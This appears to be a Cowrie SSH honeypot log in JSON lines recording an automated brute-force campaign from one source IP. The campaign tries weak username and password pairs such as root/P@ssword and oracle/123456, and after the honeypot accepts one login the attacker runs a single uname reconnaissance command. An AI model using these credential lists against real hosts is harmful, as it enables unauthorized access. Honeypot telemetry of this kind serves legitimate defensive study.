{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:43.866745Z","src_ip":"192.109.200.237","session":"e87efd1d03e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:44.111804Z","src_ip":"192.109.200.237","session":"e87efd1d03e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:45.197757Z","src_ip":"192.109.200.237","session":"e87efd1d03e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35470,"dst_ip":"159.203.135.109","dst_port":22,"session":"eeb648795285","protocol":"ssh","message":"New connection: 192.109.200.237:35470 (159.203.135.109:22) [session: eeb648795285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:46.888063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:46.892651Z","src_ip":"192.109.200.237","session":"eeb648795285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:46.977267Z","src_ip":"192.109.200.237","session":"eeb648795285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpt","password":"gpt","message":"login attempt [gpt/gpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:47.226395Z","src_ip":"192.109.200.237","session":"eeb648795285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:48.312066Z","src_ip":"192.109.200.237","session":"eeb648795285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54176,"dst_ip":"159.203.135.109","dst_port":22,"session":"11a0f37d29f3","protocol":"ssh","message":"New connection: 192.109.200.237:54176 (159.203.135.109:22) [session: 11a0f37d29f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:50.073528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:50.188950Z","src_ip":"192.109.200.237","session":"11a0f37d29f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:50.193123Z","src_ip":"192.109.200.237","session":"11a0f37d29f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:50.520648Z","src_ip":"192.109.200.237","session":"11a0f37d29f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:51.605278Z","src_ip":"192.109.200.237","session":"11a0f37d29f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54188,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8467e3735cf","protocol":"ssh","message":"New connection: 192.109.200.237:54188 (159.203.135.109:22) [session: d8467e3735cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:53.401501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:53.405253Z","src_ip":"192.109.200.237","session":"d8467e3735cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:53.489304Z","src_ip":"192.109.200.237","session":"d8467e3735cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:53.738838Z","src_ip":"192.109.200.237","session":"d8467e3735cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:54.824249Z","src_ip":"192.109.200.237","session":"d8467e3735cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54190,"dst_ip":"159.203.135.109","dst_port":22,"session":"95eb49006b36","protocol":"ssh","message":"New connection: 192.109.200.237:54190 (159.203.135.109:22) [session: 95eb49006b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:56.535572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:56.542197Z","src_ip":"192.109.200.237","session":"95eb49006b36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:56.626307Z","src_ip":"192.109.200.237","session":"95eb49006b36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:56.874769Z","src_ip":"192.109.200.237","session":"95eb49006b36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:57.960932Z","src_ip":"192.109.200.237","session":"95eb49006b36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54204,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8906ab6d1f1","protocol":"ssh","message":"New connection: 192.109.200.237:54204 (159.203.135.109:22) [session: b8906ab6d1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:59.670292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:59.675202Z","src_ip":"192.109.200.237","session":"b8906ab6d1f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:59.757439Z","src_ip":"192.109.200.237","session":"b8906ab6d1f1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:00.015215Z","src_ip":"192.109.200.237","session":"b8906ab6d1f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:00.235173Z","src_ip":"192.109.200.237","session":"b8906ab6d1f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:00.239504Z","src_ip":"192.109.200.237","session":"b8906ab6d1f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:00.326360Z","src_ip":"192.109.200.237","session":"b8906ab6d1f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:00.334718Z","src_ip":"192.109.200.237","session":"b8906ab6d1f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47750,"dst_ip":"159.203.135.109","dst_port":22,"session":"412baadc2415","protocol":"ssh","message":"New connection: 192.109.200.237:47750 (159.203.135.109:22) [session: 412baadc2415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:02.914462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:02.919262Z","src_ip":"192.109.200.237","session":"412baadc2415","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:03.004106Z","src_ip":"192.109.200.237","session":"412baadc2415","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yealink","password":"yealink","message":"login attempt [yealink/yealink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:03.250941Z","src_ip":"192.109.200.237","session":"412baadc2415","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:04.336580Z","src_ip":"192.109.200.237","session":"412baadc2415","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47758,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f53ba376ccc","protocol":"ssh","message":"New connection: 192.109.200.237:47758 (159.203.135.109:22) [session: 3f53ba376ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:06.102015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:06.111652Z","src_ip":"192.109.200.237","session":"3f53ba376ccc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:06.194453Z","src_ip":"192.109.200.237","session":"3f53ba376ccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:06.447296Z","src_ip":"192.109.200.237","session":"3f53ba376ccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:07.532216Z","src_ip":"192.109.200.237","session":"3f53ba376ccc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":33102,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0c2d1462826","protocol":"ssh","message":"New connection: 109.172.54.111:33102 (159.203.135.109:22) [session: c0c2d1462826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:09.115524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:09.122150Z","src_ip":"109.172.54.111","session":"c0c2d1462826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47788,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb55f1662aa8","protocol":"ssh","message":"New connection: 192.109.200.237:47788 (159.203.135.109:22) [session: fb55f1662aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:09.149317Z"}
